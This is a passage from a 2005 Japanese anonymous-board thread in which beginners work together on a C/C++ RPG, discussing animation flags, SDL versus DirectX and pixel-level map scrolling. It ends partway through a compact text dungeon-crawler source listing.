
以下の様な輩が手伝ってくれると、非常に有り難い。

・ C/C++言語である程度プログラムが組める (アドバイスだけでも助かる)
・ まとめサイトの管理ができる (プロジェクトのページ更新とか)

まとめサイトの管理は、
藻前さん達を信頼して 垢のIDとパスワードを そのまま渡す予感。


あやふやでスマンかったね。
684デフォルトのたぬきさん:2005/06/24(金) 22:46:16

追記:
http://himatanuki.hp.infoseek.co.jp/debug.zip

要望に答えて、zipにした。
>>323 が晒したコードに手をちょっと加えた程度。
685デフォルトの名無しさん:2005/06/25(土) 00:41:20
要は丸投げか。
686デフォルトの名無しさん:2005/06/25(土) 01:54:36
>>683
キツイこと言うようだけど、プログラム開発のプロジェクトとゆーのは
立ち上げた人がグイグイ引っ張っていかないとどーにもならないよ。
アレもできない、コレも人任せではプロジェクトとして破綻してる。

背伸びしないで、まずは独力でこじんまりとやりなよ。
ここで晒せば見てくれる人もいるだろうしね。

あと、Infoseek のアカウントを他人に使わせるのって大丈夫なの?
利用規約に違反していなければいいけど。
687デフォルトの名無しさん:2005/06/25(土) 02:00:30
gdiplus.dllを同梱しろと
688デフォルトの名無しさん:2005/06/25(土) 07:21:46
オープン開発の場合、メインの人がガリガリ書いて周りの人が
使ってバグがあったらハックしてパッチを投げるって感じ。
アドバイスならここでもいいんじゃないのかな。

Windowsでゲーム作るなら出来るだけDirectXのほうが良いべ。
アニメーションやスクロールを実装していくとこれからどんどん重くなる。
689デフォルトの名無しさん:2005/06/25(土) 08:04:26
SDLのほうがいいと思うんだがみんなスルーするのはなんで?
690デフォルトの名無しさん:2005/06/25(土) 09:10:38
>>683
ソースがコンパイルできなかったので適当に書くが、
簡単にアニメパターンを変化させたいなら、
基本的には↓みたいにするんじゃない?

static int nMainCount = 0; // カウント
static int nAnime = 0; // アニメフラグ

nMainCount++; // 1フレごとにカウント増やす

if (!(nMainCount % 10)) // 10フレごとに、アニメフラグを変更
nAnime = (nAnime ? 0 : 1);

if (nAnime)
// アニメパターン1描画
else
// アニメパターン2描画


見当違いなこと言ってたらゴメンね。
691デフォルトの名無しさん:2005/06/25(土) 09:31:30
nAnime = !nAnime; でもいいな。
692デフォルトの名無しさん:2005/06/25(土) 09:54:07
>>691
おー、頭よさげ。真か偽かを返すのか。
初めて見ました。すっきりしてイイっすね。
693デフォルトの名無しさん:2005/06/25(土) 10:12:57
……。
694デフォルトの名無しさん:2005/06/25(土) 11:08:10
初々しくてワラタ
695デフォルトの名無しさん:2005/06/25(土) 12:40:19
現実逃避して571のコーディングを進めたよーん(ぉぃ
迷宮の自動生成と擬似3Dワイヤフレーム表示がでけた。
あとは>>62-63のRPGシステムと組み合わせれば完成かな。
そーだ、なんかヤル気の出るゲームタイトルを考えよう。
前作の続きってことで『デフォルトの名無しさんの冒険2』!
・・・・ベタ杉。却下。
696デフォルトの名無しさん:2005/06/25(土) 14:09:27
ム板・サーガ
レジェンド・オブ・ム板
名無しのダンジョン
ファンタシー・ム板
697デフォルトの名無しさん:2005/06/25(土) 18:57:01
【初心者】C/C++言語でRPGを作ってみるスレ【限定】
698692:2005/06/25(土) 21:49:41
>>693 >>694 >>697
うはww雑魚でスマソwwww
nAnime ^= 1; と書けばよかったか・・

>>695
超期待!
ワイヤーフレームなんて、どうすんでしょ。
699デフォルトの名無しさん:2005/06/25(土) 22:42:15
>>698
ダメすぎ。
700デフォルトの名無しさん:2005/06/26(日) 01:02:53
げ、恥を上塗ってしまった・・
701デフォルトの名無しさん:2005/06/26(日) 01:25:06
みんな「恥ずかしいコード」を書きながら成長していくんだから、
あんまり機にスン名。
702デフォルトの名無しさん:2005/06/26(日) 03:30:48
まとめサイト全然更新ないけどどうしたの?
703デフォルトの名無しさん:2005/06/26(日) 08:52:50
ヒマなときにでも、ひっそり更新していただいくということで、
いいじゃありませんか。
704デフォルトの名無しさん:2005/06/26(日) 09:42:39
わてもSDLのがいいとおもう。激しく簡単な上に裏でちゃんとDirectX使ってくれるから高速だし。
705デフォルトの名無しさん:2005/06/26(日) 10:48:36
どれだっていいじゃん、作るヤシが好きなのを使えば。
そんなことよりヤるかヤらないかが重要。
706Mifune86 ◆mCEJQ9Ki/Q :2005/06/26(日) 12:57:04
仕方ない俺様が手伝ってやろう。
で、どうやって手伝えばいいんだゴラ
707デフォルトの名無しさん:2005/06/26(日) 17:43:59
じゃ、まず死んでくれ。
708一星 ◆Cppn/.YI3. :2005/06/26(日) 18:30:06
>>675
俺も手伝うよ。
709デフォルトの名無しさん:2005/06/26(日) 18:32:45
サルキター
710デフォルトの名無しさん:2005/06/26(日) 18:34:43
なんでこんなスレ流行ってるのかと思ったらCマガのせいかよw
今さら気づいたぜwwwwww
711一星 ◆Cppn/.YI3. :2005/06/26(日) 19:01:55
>>709
猿スレ スレスト食らったな。
712デフォルトの名無しさん:2005/06/26(日) 19:19:26
ぜんぜん機能してないのがすごいなwwww
713デフォルトの名無しさん:2005/06/26(日) 21:37:46
二ヶ月で700は、この過疎板にしては、かなり流行ってる方かも。
714デフォルトのたぬきさん:2005/06/26(日) 21:40:36
>>686, >>688
プロジェクトの立案者として、至らない所が有り過ぎたと 反省。
できるだけ、人に頼らずにガンガッて見ようと思う。

それと、Infoseekのまとめサイトの件だけど、
>◆ユーザーは、有料無料を問わず、第三者に対し、ホームページスペースを貸し出しすることはできません。

だとさ。 ちょっと残念。

>>687, >>689
まとめサイトの、ダウンロードページに
SDLの開発テンプレと gdiplus.dll を追加してみた予感。

>>690
試行錯誤中。
それらしい移動ができたら、晒すね。

>>695
まとめサイトの活気剤として、キボン。
それをプロジェクトとして 立ち上げたいケド、イイ?

>>706, 708
感謝感激雨霰。
とりあえず、706は まとめサイトに晒してあるアドレスを MSNメッセに追加してくれる?

嫌なら、掲示板で話してもいいケド。
715695:2005/06/26(日) 22:25:16
>>714
> それをプロジェクトとして 立ち上げたいケド、イイ?

いま作ってるのはそんな大仰なものじゃないよ。
このスレにコピペできるぐらいの小さなプログラムです。
といっても既に>>62-63の倍ぐらいコードがあるけど。
(「前作を凌ぐスケール!」と言ってもウソにはならないなw)
いずれにせよプロジェクトと呼ぶには小さすぎるし、
あと1〜2日で一丁上がりというところまで出来てるので。悪しからず。
716デフォルトの名無しさん:2005/06/26(日) 23:00:30
>>64
最後return 0;
はいれたほうが…
警告がきになったのでね
それだけ
717デフォルトの名無しさん:2005/06/26(日) 23:00:44
>>63
718 ◆mCEJQ9Ki/Q :2005/06/26(日) 23:14:03
>>714
Gamedev落ちてるので後で見とくけど、
IRCのが嬉しい予感。
SDLは、俺もいいと思うぜ簡単だし。クロスプラットフォームだし。
719 ◆mCEJQ9Ki/Q :2005/06/26(日) 23:50:40
あwww
infoseekねwww
見れますた。
720デフォルトの名無しさん:2005/06/27(月) 00:47:26
>>716-717
ご指摘どうも。>>695のプログラムで main() の最後に return 0; を書いた時に
そーいや前のプログラムでは書かなかったなーと思ってたところでした。
フリー版 VC++ の cl コマンドはオプション無しだと全然警告を吐かない。(^^;
721デフォルトの名無しさん:2005/06/27(月) 11:22:38
>>647
復帰乙
722武家諸法度@co.jp:2005/06/28(火) 13:00:12
前まで、デフォルトの名無しさんで通してきたが、まさかここまで発展するとは、
正直思わンかった。

http://himatanuki.hp.infoseek.co.jp/ を作ってくれた>>606には、大変感謝。

もうそろそろ2個目のスレを、作る必要ありそ。

723武家諸法度@co.jp:2005/06/28(火) 13:25:42
いい忘れたが、http://gamdev.org/w/?%5B%5BC%2FC%2B%2B%B8%C0%B8%EC%A4%C7%A3%D2%A3%D0%A3%C7%A4%F2%BA%EE%A4%C3%A4%C6%A4%DF%A4%EB%A5%B9%A5%EC%5D%5D
を作った>>647と、(・∀・)作ってミターヨ さんにも感謝。
724デフォルトの名無しさん:2005/06/28(火) 14:50:54
今C勉強中
作ってミターヨ さんみたいに早く作りたい。
尊敬
725デフォルトの名無しさん:2005/06/28(火) 14:51:35
sage
726デフォルトの名無しさん:2005/06/28(火) 16:27:25
>>722
スレ立て人も乙。
> もうそろそろ2個目のスレを、作る必要ありそ。
このスレはあと一ヶ月は持つと思うけどな。

ところで、Cのお勉強はしてるのかい?
727武家諸法度@co.jp:2005/06/28(火) 18:12:02
>>726結構やってる。
728デフォルトの名無しさん:2005/06/28(火) 18:53:17
>>727 ふ〜ん、それはよかった。今どんな感じ?
729デフォルトの名無しさん:2005/06/28(火) 19:59:43
       _ ____       ミ川川川川彡
     /;;;;;;;;_,;;;;;;;;;,;;;;;;;__;;ヽ   ミ 
    /;;;;;/  __ \ ̄ /__\;;)  三 オラの母ちゃんとひまわりが
    |;;;;;'ゞ_/__ヽノノ ゞ∠_ヽノ/  三 
   ,⊥、;;|  くO 〉  〈.0 } {   三 偽名でエロゲやエロアニメに
  /   ゞ    ̄     ̄   ⌒ヽ三 
  |    U         /二二ヽ }三  出てるけどまあいいや
  \__          |'⌒'⌒V /三  
      ̄ヽ__     ゝ ニニノ/ 彡. 
           ̄ ̄ ̄ ̄ ̄~    彡川川川川ミ
730デフォルトの名無しさん:2005/06/28(火) 20:08:00
コルーチン呼び出しできるような関数を作ると、シナリオスクリプトもC/C++で書けるのにね。
731デフォルトの名無しさん:2005/06/28(火) 21:32:13
>>730
どうやるの?
732デフォルトの名無しさん:2005/06/29(水) 08:41:32
>>731
醜い事になるんだが(w
先ず、普通にシナリオ部のコードを実行するように記述。
スタック操作するか、setjump() とかlongjump()とか駆使してシナリオ内の関数の特定の位置でメインループに飛ばす。
またメインループからさっきまで実行していたシナリオ内の関数の次の場所まで飛ばす。
関数が終了するとシナリオ部の記述まで戻り、次の関数を呼び出す。

・・・素直にインタプリタ作った方が楽に思えてくるからさあ大変(w
733732:2005/06/29(水) 08:45:27
あくまでもシナリオ部のコーディングは普通に書いて、そこで呼び出される関数とシステムに仕掛けをしておくって感じだから、シナリオ自体はCとかの初心者でも書けると思う。・・・まあ、ネタって事で(w
734732:2005/06/29(水) 09:12:10
でも、扱う対象が複数になってくると、もっと込み入った仕掛けが必要になってくるね。
キャラが3体出て来てシナリオをこなすとかだと、スタックがキャラの数+主軸の4本は必要になるんだなこれが。
それに各キャラと主軸を順繰りにまわして行かなきゃならないから、シナリオの記述自体も面倒。
この辺はシナリオの記述の問題かな?

キャラ一体一体別々に通しで動きを記述して主軸に束ねる方法と、主軸の記述から細かくステップ毎に各キャラに動作を指示する方法と・・・。
前者だと各キャラの動きを時間軸で合わせ込むのが大変だし、後者だと特定のキャラの一連の動きがわからなくなってくる(w
普通はこの両方を適度に混ぜて使うんだけどね。
735デフォルトの名無しさん:2005/06/29(水) 13:52:24
>>723-724 どもども。なんか面映いな。
724さん、最初は試行錯誤の連続でうまくいかないこともあるだろうけどがんばってね。

余談だけど、「早く作りたい」というのが製作期間のことなら焦ることはないよ。
俺のバヤイ、年食ってるだけにそれなりの蓄積があるとゆーのが大きい。
リア工の頃からPC-8801でBASICとマシン語でゲームを作って遊んだりしてきたから
「あーゆー処理を実現するにはこーゆープログラムを書けばいいんだろーなー」みたいな
推測がつくことが多いんだよ。自分で考えたテクニックであることもあれば、
人のプログラムを読んで得たノウハウのこともある(今は亡き「ベーマガ」とかでね)。

このスレで誰かが俺の書いたプログラムを読んで何かを得てくれたりすれ最高!!
なーんて考えながら次回作を作ってまつ。

まあ、趣味のゲームプログラミングなんだし焦らず楽しみながらマターリやろう。
736デフォルトの名無しさん:2005/06/29(水) 17:30:55
ツクールで、3Dで作れるの出て欲しい。
737デフォルトの名無しさん:2005/06/29(水) 18:26:20
つ ツクール5
738デフォルトの名無しさん:2005/06/30(木) 13:47:50
3DRPGを作るには、数学的なことが多いらしい。 マンドクセ
739デフォルトの名無しさん:2005/06/30(木) 14:37:47
つーか
3Dモデル作ってテクスチャ書いてモーション付けて…
ドット絵より難しくね?
それでも3Dにしたいの?
740デフォルトの名無しさん:2005/06/30(木) 17:52:11
3Dゲームは、行列演算と物理シミュレーションの塊だぞ。
数学と物理が嫌いだと何もできないよ。
741デフォルトの名無しさん:2005/06/30(木) 17:53:42
BSPで地上マップを作って(マテ
742 ◆DJ46jUJDjs :2005/07/01(金) 19:21:21
ロック○ンエグゼ系みたいなドット単位に移動するのはどうやるんだ
講座orサンプル
プリーズ
743デフォルトの名無しさん:2005/07/01(金) 20:01:28
ロックマンエグゼがどう動くのかは知らないが、
キャラのドット移動?
それとも、マップのドット移動??
744 ◆DJ46jUJDjs :2005/07/01(金) 20:08:10
マップのドット移動です 
745デフォルトの名無しさん:2005/07/01(金) 20:27:46
えーと、チップ単位の移動はできるん?
できたら、簡単なコードを書いてみてー。
746 ◆DJ46jUJDjs :2005/07/01(金) 20:41:51
Cでゲーム作るの初めてなんです。
747デフォルトの名無しさん:2005/07/01(金) 22:42:25
>>746
えー、質問ばかりで申し訳ないんですが、
今どこまでできてるのかな?

1:絵が表示できる
2:マップチップを画面にしきつめられる
3:マップチップをしきつめられたうえ、チップ単位のスクロールができる

あと、チップのサイズと画面のサイズも重要なんで、
教えてほしいのですが。。
748 ◆DJ46jUJDjs :2005/07/01(金) 23:14:24
1の画像を表示出来る程度です
749 ◆DJ46jUJDjs :2005/07/01(金) 23:16:18
忘れてました
チップサイズは32*32で
画面は640*480
です
750デフォルトの名無しさん:2005/07/01(金) 23:38:01
>>748
うはww

じゃあ、まずはマップを表示してくださいな。
最初は考え安いように、二次元配列でやったほうがいいかと。

#define MAP_X_MAX 25
#define MAP_Y_MAX 20

static unsigned char byMap[MAP_Y_MAX][MAP_X_MAX]

てな感じで二次元配列を用意して、
あとは自分で画面中に敷き詰める方法を考えてみましょう。
わからんかったら、また質問しにくるよろし。


ちょっとえらそうに書いてるが、私は超雑魚なので、
ほかにいい方法あったら、誰か提示してくれい。
751デフォルトの名無しさん:2005/07/01(金) 23:42:05
そのまえに、一枚絵の画像を表示できたら、次の段階は、
一枚画像を使ったクリッピング処理だと思うが、それは出来るの?
752デフォルトの名無しさん:2005/07/01(金) 23:45:38
あー、そかも ^^

>>749
絵はどうやって出してるんですか?
753デフォルトの名無しさん:2005/07/01(金) 23:59:08
俺も最初は引数が多くて混乱していたような記憶が…。

int x = MapViewX / 32;
int y = MapViewY / 32;
int w = (MapViewX + 640) / 32;
int h = (MapViewY + 480) / 32;
int i,j;

for(i=y;i<=h;i++){
  for(j=x;j<=w;j++){

  }
}
754 ◆DJ46jUJDjs :2005/07/02(土) 10:46:28
[猫でもわかる]の本に載っているやり方で絵を表示してます。
755デフォルトの名無しさん:2005/07/02(土) 11:46:57
大変申し訳ないのだが、
みんなが猫の本を持ってるわけではないので、
その答えではちょっと困るんだな。

猫でもわかるプログラミング
ttp://www.kumei.ne.jp/c_lang/

↑のサイトでいうと、どの辺ですか?

あと、ちょっと質問と答えが、かみ合ってないような気がするので、
もう一度、今なにがやりたいか、なにができないかを書いてくれ。
756 ◆DJ46jUJDjs :2005/07/02(土) 12:15:20
SDK編第一部の26章のような感じ
前に書き間違いましたが
一応RPG作成系の本を持っていて、ランダムにチップを並べてそれをチップ単位のスクロールは出来ると思います。
やりたいことは、アクションRPGのようにマップをドット単位でスクロールさせることです。
757デフォルトの名無しさん:2005/07/02(土) 13:39:17
>>756
私もひさびさなので、ちょっとやってみる。
ちょい待って。
758 ◆DJ46jUJDjs :2005/07/02(土) 13:40:33
お願いします。
759デフォルトの名無しさん:2005/07/02(土) 13:49:25
クリッピング
760757:2005/07/02(土) 14:38:29
超雑魚ですが・・

チップ単位のマップスクロール
ttp://49uper.com:8080/html/img-s/64502.zip

途中まででスマソ。
ここまではだいじょぶなんだよね?

やっぱゲームっぽいプログラムは楽しいよお。
細かいとこは、やっぱ私には難しいですわ。

ちょっと休憩します。

>>759
それは許してください (T_T)
761757:2005/07/02(土) 14:50:15
// ??**************
//**************

↑で囲まれたとこが、マップに関係あるとこです。
762デフォルトの名無しさん:2005/07/02(土) 14:55:02
>>756
>一応RPG作成系の本を持っていて、ランダムにチップを並べてそれをチップ単位のスクロールは出来ると思います。

これは、チップの直接描き換えなどで「チップサイズの大きさ単位で」
スクロールできる(32ピクセル単位など)、ということ?
763 ◆FvNZCvD0JQ :2005/07/02(土) 15:12:55
>>762
ドラ○エみたいな感じです
764762:2005/07/02(土) 15:39:59
>>763
なら、もう既にできている(マップ移動はチップ単位に処理を繰り返せば
よい)と思うんだがw マップのチップサイズとゲームのキャラクタ移動
や判定などの大きさは別にそろえる必要はないのだから。
765 ◆DJ46jUJDjs :2005/07/02(土) 15:58:55
さっきトリップ間違えた

ドラ○エとかは一応1ドットずつスクロールしてますが、チップ単位の移動をしてますよね

聖剣伝説とかゼルダ系のゲームって知ってますか?
あのスクロールがしたいんです。
766デフォルトの名無しさん:2005/07/02(土) 16:39:58
1ドットずつスクロール
ttp://49uper.com:8080/html/img-s/64516.zip

かっこ悪いのができちゃったんですが、
今日のところはこれで許してください ^^

汎用性は無いです。
1ドットずつが一番簡単だったので・・
スクロールの止め方もかなりカッコ悪いので、もっといい方法を考えてくださいませ。
あと、普通はクリッピング処理をして、
画面外は描画しないように表示用関数を自作すると思います。


・・いいわけ終了。
超雑魚でスマソ orz
767762:2005/07/02(土) 16:52:18
>>765
いや、だからドラクエ系のスクロールができるなら、移動の単位を
「チップ」じゃなくて「ドット」単位にするだけの気が……。
たとえばスクロールを「一回り大きなビットマップ」に一度マップ
を描いて、それをずらしながら転送しているなら(実際どうやって
いるのかわからんが)、転送開始位置の移動を「チップの大きさ」
ではなく、ドット単位で止めるとか。
768デフォルトの名無しさん:2005/07/02(土) 17:43:46
ドット単位の方が楽じゃね?
769 ◆DJ46jUJDjs :2005/07/02(土) 18:10:52
>>768
やってみて
770デフォルトの名無しさん:2005/07/02(土) 18:28:47
ゼルダ系って初代ゼルダ?
何作もあってスクロールも色々あるからわかんねーよ
771 ◆DJ46jUJDjs :2005/07/02(土) 18:36:08
アドバンス版のゼルダ
772デフォルトの名無しさん:2005/07/02(土) 18:56:15
表示画面のサイズ width,height
1チップのサイズ cx,cy
画面の中央にキャラを表示するものとして

キャラの現在のワールド上座標を(x,y)とすると

表示画面原点のワールド上座標は
view_x = x - width/2;
view_y = y - height/2;

チップサイズ単位のグリッドからのずれは
offset_x = view_x % cx;
offset_y = view_y % cy;

したがって画面に敷き詰めるチップのposy行posx列目
の描画位置は
draw_x = posx*cx - offset_x;
draw_y = posy*cy - offset_y;

マップデータ2次元配列上の初期位置は
ini_x = view_x/cx;
ini_y = view_y/cy;

したがってposy行posx列目のチップのデータは
map_data[posy + ini_y][posx + ini_x]

ドット単位のスクロールをしたければ(x,y)を適当に
増減すればいい。
773デフォルトのたぬきさん:2005/07/02(土) 19:17:51
>>769
話に水差すようで悪いケド、ゼルダっぽい移動ができたっぽい。

期待に副える様なモノではなかったら、スマソ。
http://himatanuki.hp.infoseek.co.jp/debug2.zip

>>766
良かったら、まとめサイトの あぷろだ を使ってくれる?
774デフォルトの名無しさん:2005/07/02(土) 20:42:10
まとめサイトのあぷろだ使ったらIP抜かれる
775デフォルトの名無しさん:2005/07/02(土) 21:08:12
>>773
何がやりたいかわからない
どこがどうゼルダ?
776 ◆mCEJQ9Ki/Q :2005/07/02(土) 21:11:55
>>773
参加するのにMSN messangerって必須?
漏れ的に、IRCのが気楽でいいんですが・・・・・OTL
なんかチャンネル#makerpgとか作れば、名無しさんとかも入りやすいと思うんだが
777766:2005/07/02(土) 21:12:19
>>773
お、まとめサイト氏ですかね?
キャラのアニメーションはできたみたいですね。
ロダの方は、必要に応じて使わせていただきます。ども。
778デフォルトの名無しさん:2005/07/02(土) 21:21:56
よくできてるね。>キャラ画
779デフォルトの名無しさん:2005/07/02(土) 21:24:34
有名な素材サイトの画像
ライセンス違反だけどオレは騒いだりしないよ
780 ◆Zz8PaHdsM2 :2005/07/02(土) 21:45:50
>>766のスクロールが結構良かった。
でもちょっと重いような・・・
781デフォルトの名無しさん:2005/07/02(土) 22:14:09
だからgdiplus.dllを添付しろと。
782デフォルトの名無しさん:2005/07/03(日) 01:07:08
>>766です。ちょこっとほめられた♪

>>780さんのプログラムの最終的なフレームレートが
いくつなのかはわかりませんが、
32ドットを1ドットずつ移動だと、凄く重く感じると思います。
1〜20ドットずつを指定しても、耐えられるスクロールをガンガって作って、
どれぐらいが自分のプログラムに適正なスピードかを見て、
最終的な移動速度を考えればいいかと。
ガンガってください。

できたら晒してちょ。
783デフォルトの名無しさん:2005/07/03(日) 01:14:32
あ、そえば、>>767さんの言ってるやり方って、
ポピュラーな方法なんですかね?

>「一回り大きなビットマップ」に一度マップ を描いて、それをずらしながら転送

↑の方法だと、メモリは食うかもしれませんが、
(大きく読み込むときの速度も気になる)
毎回マップチップを一個一個貼り付けなくてもよさげなので、
描画速度を短縮できて、アクションゲームなんかには
良さそうなんですが・・

誰か、知ってる人います?
784762:2005/07/03(日) 01:26:16
>>783
大きくといってもせいぜい16*16が17*16になる程度だから、それほど問題
はないかな。RPG作る時は、面倒だから15*15の表示領域なら、17*17チップ
描くスクロールビットマップ作ったりして。

スクロール量は、2ピクセル位が滑らかさと速度のバランスが良いかも。
785デフォルトの名無しさん:2005/07/03(日) 01:56:02
>>784
あー、なるほど。ちょっと勘違いをしてました。
私はまた、一気に(128*128ぐらい?)別領域に書いて、
それを毎回1画面ぶん転送するのかと思ってました。
早とちりでした。どうもです。
786デフォルトの名無しさん:2005/07/03(日) 02:42:23
ラスタデータは一気に描画できたほうが早いからな。
787 ◆DJ46jUJDjs :2005/07/03(日) 07:31:21
誰か>>766をゲームで使いやすくしてちょ
788(・∀・)作ってミターヨ:2005/07/03(日) 08:36:22
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <malloc.h>
int rnd(int n){return(int)(n*rand()/(RAND_MAX+1.0));}
int *makemaze(int w,int h,int x,int y){int *maze,distance,i,j,n,tx,ty,xoffset[4]={1,0,
-1,0},yoffset[4]={0,1,0,-1},dir,choices[4],exit[3];maze=(int*)malloc(sizeof(int)*w*h);
for(i=0;i<w*h;i++)maze[i]=1;maze[x+y*w]=0;exit[0]=distance=0;dir=-1;for(;;){n=0;
for(i=0;i<4;i++){tx=x+xoffset[i]*2;ty=y+yoffset[i]*2;if(tx>0&&tx<w&&ty>0&&ty<h&&maze
[tx+ty*w]==1)n++;}if(n<2)dir=-1;n=0;choices[0]=choices[1]=choices[2]=choices[3]=0;
for(i=0;i<4;i++){if(i==dir&&rnd(2)==0)continue;tx=x+xoffset[i]*2;ty=y+yoffset[i]*2;
if(tx>0&&tx<w&&ty>0&&ty<h&&maze[tx+ty*w]==1)choices[n++]=i;}if(n==0){/*deadend*/for
(i=0;i<4;i++){tx=x+xoffset[i];ty=y+yoffset[i];if(tx>0&&tx<w&&ty>0&&ty<h&&maze[tx+ty
*w]==2)break;}if(i==4)break;/*done*/if(exit[0]<distance){exit[0]=distance;exit[1]=x;
exit[2]=y;}maze[x+y*w]=0;x+=xoffset[i];y+=yoffset[i];maze[x+y*w]=0;x+=xoffset[i];
y+=yoffset[i];distance-=2;}else{/*dig 1 block*/dir=choices[rnd(n)];x+=xoffset[dir];
y+=yoffset[dir];maze[x+y*w]=2;x+=xoffset[dir];y+=yoffset[dir];maze[x+y*w]=2;distance
+=2;}}for(y=2;y<h-2;y+=2){for(x=2;x<w-2;x+=2){n=0;for(i=-1;i<=1;i++)for(j=-1;j<=1;j++)
n+=maze[(x+i)+(y+j)*w];if(n==2&&rnd(3)==0){maze[x+y*w]=0;break;}}}x=exit[1];y=exit[2];
maze[x+y*w]=2;return maze;}char *img[35];int ind[32]={
789(・∀・)作ってミターヨ:2005/07/03(日) 08:36:47
0,1,2,3,4,5,6,5,7,8,9,10,11,12,13,12,14,15,16,17,18,19,20,19,21,22,23,24,18,19,20,19};
void makeimg(void){char *ch[]={" "," ","\","/","|"," ̄","_","○","大","\n"};
char *src[25]={"11111911111911711911811","2111190401119040711931811",
"6111190401119040711951811","21111911111911711931811","1666190400004090407040915851",
"266619040104090407040935851","66661900001040900007040955851","1111691110409117040911815",
"211169040104090407040931815","611169040104090407040951815","21116901010409117040931815",
"1666690401119040711915855","2666690401119040711935855","66666911111911711955855",
"1111391110409117040911812","21113904114090407040931812","61113904114090407040951812",
"2111391110409117040931812","1666390400004090407040915852","266639040104090407040935852",
"666639000010409117040955852","11113911111911711911812","2111390401119040711931812",
"6111390411109040711951812","21113911111911711931812"};
int i,j;for(i=0;i<25;i++){img[i]=(char*)malloc(44);img[i][0]='\0';
for(j=0;j<strlen(src[i]);j++)strcat(img[i],ch[src[i][j]-'0']);}}char *msg[3];
void makemsg(void){char *src[3]={"Obn GnQnSP gc RWwnynXX hWVVzgVX qq",
"\nGggC, obnVn'X XgwnobzSQ Wo BgDV cnno...\n",
"\n*** xjRalHOAGHOqjRL ***\n\npgD cgDSP obn oVnWXDVn gc obn PDSQngS!!"};char enc[]=
"uHAUjOTqIvKPdziZxCkFEpYJbhWaGLSnecfQgotXsVrMBylRNwmDu";int i;char *p,*c;for(i=0;i<3;
i++){p=msg[i]=strdup(src[i]);while(*p){c=strchr(enc,*p);if(c){*p=*(c+1);}p++;}}}static
int dirxoffset[4][5]={{-1,-1,0,1,1},{0,1,1,1,0},{1,1,0,-1,-1},{0,-1,-1,-1,0}};static int
diryoffset[4][5]={{0,-1,-1,-1,0},{-1,-1,0,1,1},{0,1,1,1,0},{1,1,0,-1,-1}};int getimg(int
*maze,int w,int h,int x,int y,int dir){int img,i,tx,ty;img=0;for(i=0;i<5;i++){tx=x+
dirxoffset[dir][i];ty=y+diryoffset[dir][i];if(maze[tx+ty*w]==1)img|=(1<<i);}return img;}
790(・∀・)作ってミターヨ:2005/07/03(日) 08:38:49
void pause(void){char buf[32];printf("ENTER> ");fflush(stdout);fgets(buf,sizeof(buf),
stdin);}int main(){int w=11,h=11,*maze,x,y,tx,ty,dir,floor,hp,hpmax,lv,exp,bound,hour,day,
mode,enemy,e_hp,e_lv,i,j,d;char buf[1024],*e_name,*dirname="NESW";srand(time(NULL));makeimg();
makemsg();lv=1;hp=hpmax=lv*25;exp=0;bound=22;hour=0;day=1;mode=1;enemy=0;x=1;y=1;dir=1;
floor=1;if(0){/*levels*/int b=bound,p=0,nfights=6;for(i=1;i<=10;i++){int delta=(int)((i+1.5)
*2.5*nfights);printf("lv=%2d, avg(exp)=%3d, bound=%3d += %3d, #fights=%.2f\n",i,(int)((i+0.5)
*2.5*nfights),b,(b-p),(b-p)/((i+0.5)*2.5));p=b;b+=delta;}}printf("\n<><><> %s <><><>\n",
msg[0]);newlevel:maze=makemaze(w,h,x,y);if(floor==1&&maze[(x+1)+y*w]==1)dir=2;
printf("\nYou're on the %d%s floor of the dungeon! Be careful!\n\n",
floor,(floor==1)?"st":(floor==2)?"nd":(floor==3)?"rd":"th");if(0){/*spoiler*/
for(j=0;j<h;j++){for(i=0;i<w;i++){switch(maze[i+j*w]){case 0:printf("..");break;
case 1:printf("[]");break;case 2:printf("<>");break;}}printf("\n");}printf("\n");}
for(;;){if(mode==1){i=getimg(maze,w,h,x,y,dir);printf("**********\n%s\n**********\n",
img[ind[i]]);}printf("Status: hp=%d, lv=%d, exp=%d, floor=%d, x=%d, y=%d, dir=%c\n",
hp,lv,exp,floor,x,y,dirname[dir]);if(floor==10&&maze[x+y*w]==2)break;if(enemy&&rnd(10)==0)
791(・∀・)作ってミターヨ:2005/07/03(日) 08:39:26
{char*enemies[]={"Slime","Draky","Ghost","Lizardman","Scorpion","Skelton","Chimera",
"Knight","Golem","Demon","Dragon"};printf("\n*** You encoundered an enemy!! ***\n\n");
e_lv=floor+rnd(2);/*avg:1.5*/e_hp=e_lv*8+rnd(e_lv*2);e_name=enemies[e_lv-1];printf
("It's a %s!! (HP=%d)\n",e_name,e_hp);mode=0;}enemy=0;input:printf("Command: ");switch
(mode){case 0:/* FIGHTING */printf("[0] attack, [9] escape\n");break;case 1:/* EXPLORING */
printf("[4] turn left, ");tx=dirxoffset[dir][2];ty=diryoffset[dir][2];if(maze[(x+tx)+(y+ty)
*w]==0)printf("[8] go ahead, ");printf("[6] turn right, [9] take a rest\n");if(maze[x+y*w]
==2)printf("[0] go down the stairs\n");}if(fgets(buf,sizeof(buf),stdin)==NULL){printf
("EOF\n");return -1;}switch(mode){case 0:/* FIGHTING */if(strcmp(buf,"0\n")==0)
{d=rnd(100);if(d<lv*2+60){if(d<5+lv){printf("CRITICAL HIT!!\n");d=lv*12+rnd(lv*3);}else
{printf("Hit!!\n");d=lv*4+rnd(lv*2);}printf("You gave %d point%s of damage to the %s!!\n",
d,d>1?"s":"",e_name);e_hp-=d;if(e_hp<=0){pause();printf("You defeated the %s!\n",e_name);
pause();d=e_lv*2+rnd(e_lv);/*avg:2.5*/printf("You got %d points of experience!!\n", d);
exp+=d;pause();if(exp>=bound) {lv++;hpmax=lv*25;bound+=(lv+1.5)*2.5*6;printf("LEVEL UP!!\n");
pause();printf("You're now Nameless Warrior Level %d!! (max HP=%d)\n",lv, hpmax);pause();}
792(・∀・)作ってミターヨ:2005/07/03(日) 08:39:56
mode=1;break;}}else{printf("Missed!!\n");}enemy:pause();if(e_hp>0){printf("The %s's attack!!\n",
e_name);pause();d=rnd(100);if(d<30+(e_lv-lv)*10){printf("Hit!!\n");d=e_lv*2+rnd(e_lv);
printf("You got %d point%s of damage!!\n",d,d>1?"s":"");hp-=d;}else{printf("Missed!!\n");}}}
else if(strcmp(buf,"9\n")==0) {d=rnd(100);if(d<50+(lv-floor)*25){printf("Miss!!\n");
goto enemy;}else{printf("You escaped!!\n");mode=1;}}else{goto input;}pause();if(hp<=0){
printf("You died...\n\n*** GAME OVER ***\n\n");return -1;}break;case 1:/* EXPLORING */
if(strcmp(buf,"8\n")==0){/*go ahead*/tx=dirxoffset[dir][2];ty=diryoffset[dir][2];
